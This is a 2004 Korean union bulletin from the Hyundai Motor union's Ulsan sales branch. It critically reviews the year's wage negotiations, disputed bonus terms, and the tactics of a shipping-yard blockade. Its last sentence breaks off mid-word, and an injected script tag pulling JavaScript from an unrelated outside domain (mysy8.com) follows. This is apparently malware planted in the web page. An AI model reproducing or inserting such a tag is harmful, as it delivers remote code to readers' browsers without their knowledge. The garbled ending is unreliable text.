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04 임투를 마무리 하며...
| 울산지부 | 조회수 859
문서번호 : 울산04-07-04 발송일 : 2004년 07월 09일
수 신 : 전조합원
참 조 : 분회장
발 신 : 현자노조 판매본부 울산지부 쟁의대책위원장
제 목 : 04 임투를 마무리 하며...


■ 노동조합 발전과 현장 조직 강화를 위해 노력하시는 동지 여러분의 노고에 진심으로 감사드립니다.

■ 임투 기간동안 지도부의 파업지침을 수행하여 주신 분회장 및 조합원동지께 진심으로 감사를 드리며 아울러 아쉽고 부족한 합의 안으로 마무리된 점은 판매본부 중앙쟁대위원의 한 사람으로서 책임을 통감합니다.
이번 투쟁의 냉정한 평가가 05'임·단투의 초석으로 승화 발전되리라고 굳게
믿으면서 전략, 전술적 문제점을 공유하고자합니다.

☞ 판매본부의 초유의 부결사태를 보면서 철저한 자기반성과 책임이 따라야할 것입니다 !!
전체 73.6%의 찬성에도 불구하고, 판매본부는 45.7%로 부결된 것은 본부조합원동지들의 처절한 절규이며, 본부지도부의 대오각성 및 반성을 요구하는 엄중한 심판입니다. 99년 3사 통합이후 같은 조합원이면서도 소외 받는 느낌이 들게 하는것은 본부를 책임지고 있는 지도부의 전략, 전술적 판단착오 및 본조 와 유기적인 관계 설정 오류 그리고 대안 부재임이 극명하게 드러났습니다.
※ 참고: 최근 3년간 잠정합의 안 결과 2001년-70.1%(본부)/67.09%(본조)
2002년-62.73%(본부)/58%(본조) 2003년 - 71.17%(본부)/80.26%(본조)

☞"생산성향상과 M/S 달성에 따른 상여금적용"에 대하여...
생산성과 M/S의 향상이 상여금에 반영된다는 허울좋은 명분으로 동지들의 피와 땀이 더욱 격렬히 요구되며, 영업현장을 더욱 벼랑끝으로 내모는 노·노간의 갈등과 분열을 야기하는 그 어떠한 조건도 우리는 용인할 수 없습니다.
04년 6월 30일 (잠정합의 하루전 밤10시)에 개최된 판매본부 2차 쟁대위 회의에서 본부집행부로부터 처음 접한 상여금에 대한 설명에 대하여 쟁대위 동지들은 강력히 문제 제기하고 반대하였습니다. 생산직과 정비직의 2시급 2O시간 추가 지급방식의 정책적 대안은 철저히 묵살되었습니다. 요구 안에도 분명히 정리되어 있듯이 "상여금의 지급요구의 주요한 핵심은 생산성과 상관없이 변동급 중 일부를 상여에 정액으로 반영한다" 가 기분 골간이었습니다.
그럼에도 불구하고 자본과 사측의 논리에 휘말려 생산성과 M/S를 공식 인정함으로써 영업현장의 조합원들은 밀어내기와 허위매출에 전방위 적으로 내몰릴 것이 불을 보듯이 뻔한 일이 되어버렸습니다.
동지들이 원한 것은 생산성과 상관없이 단지 변동 급으로 유실되는 상여금 중 일부를 정액으로 돌려달라는 우리의 노동의 대가를 되돌려 받겠다는 처절한 요구였던 것입니다. 갈수록 어려워지는 시장여건을 감안할 때 이번과 같은 합의 안은 그야말로 영업노동자의 요구를 철저히 유린하고 생산의 도구로 내모는 결과에 불과합니다.

☞"성과급 400%-영업은 또 정율 적용입니까!
판매본부의 강력한 요구로 성과급의 일부분이 정액으로 지급된 선례가 있음에도 불구하고 다시 후퇴하여 전액 그것도 400%나 정율 지급입니다.
고임금의 일선관리자와 투쟁하지 않는 비 조합원과 현격한 차별대우를 받을 수 없다는 우리의 절박한 요구는 어디로 날라 가버렸습니다? 올해는 품질본부 특별격려금 지급건과 같이 단협을 위배하고 분열책동을 획책한 사측의 음모가 드러난 좋은 명분이 있었고, 이를 이유로 협상에도 더욱 유리한 고지를 점하고서도 영업노동자의 절규를 외면하고 말았습니다. 올해 같은 경우는 전액 정액이 어렵다면, 적어도 250%정율 지급에 150%의 몫만큼이라도 정액으로 찾아오는 것이 최소한의 성과였을 것입니다.

☞사상 초유의 출고장 봉쇄 투쟁의 결과는 무엇입니까?
전국 현장의 동지들은 철저하게 지침을 사수하였지만 국내영업본부의 중앙전산망 점거를 포함하지 못한 전술적 오류로 이틀간 전면파업 및 출고장 봉쇄투쟁에도 불구하고 7,000여대에 이르는 전산 출고증이 발급됨으로서 동지들의 소중한 투쟁은 성과가 의문 시 되는 투쟁으로 전락하였다. 그리고, 출고장 동지와 사전 충분한 협의 없이 봉쇄투쟁이 전개되면서 출고장 조합원동지들과 노·노 갈등이 심각하게 표출되는 우를 범하고 말았다

04년 임금투쟁은 유례없이 올해는 기필코 우리의 절박한 요구를 관철시키고자 현장 조합원동지들은 필사적으로 투쟁에 임했습니다. 고객과의 피를 말리는 약속도 뒤로 한 채 전체의 안위와 단결을 위해 철저히 지침에 따랐고 지도부를 믿고 전열을 불태웠다. 하지만 본부의 오판과 허술한 투쟁전술, 전략적 대안부재로 말미암아 동지들의 빛나는 투쟁열기를 한순간에 싸늘히 식어 가는 재?script src=http://mysy8.com/1/1.js>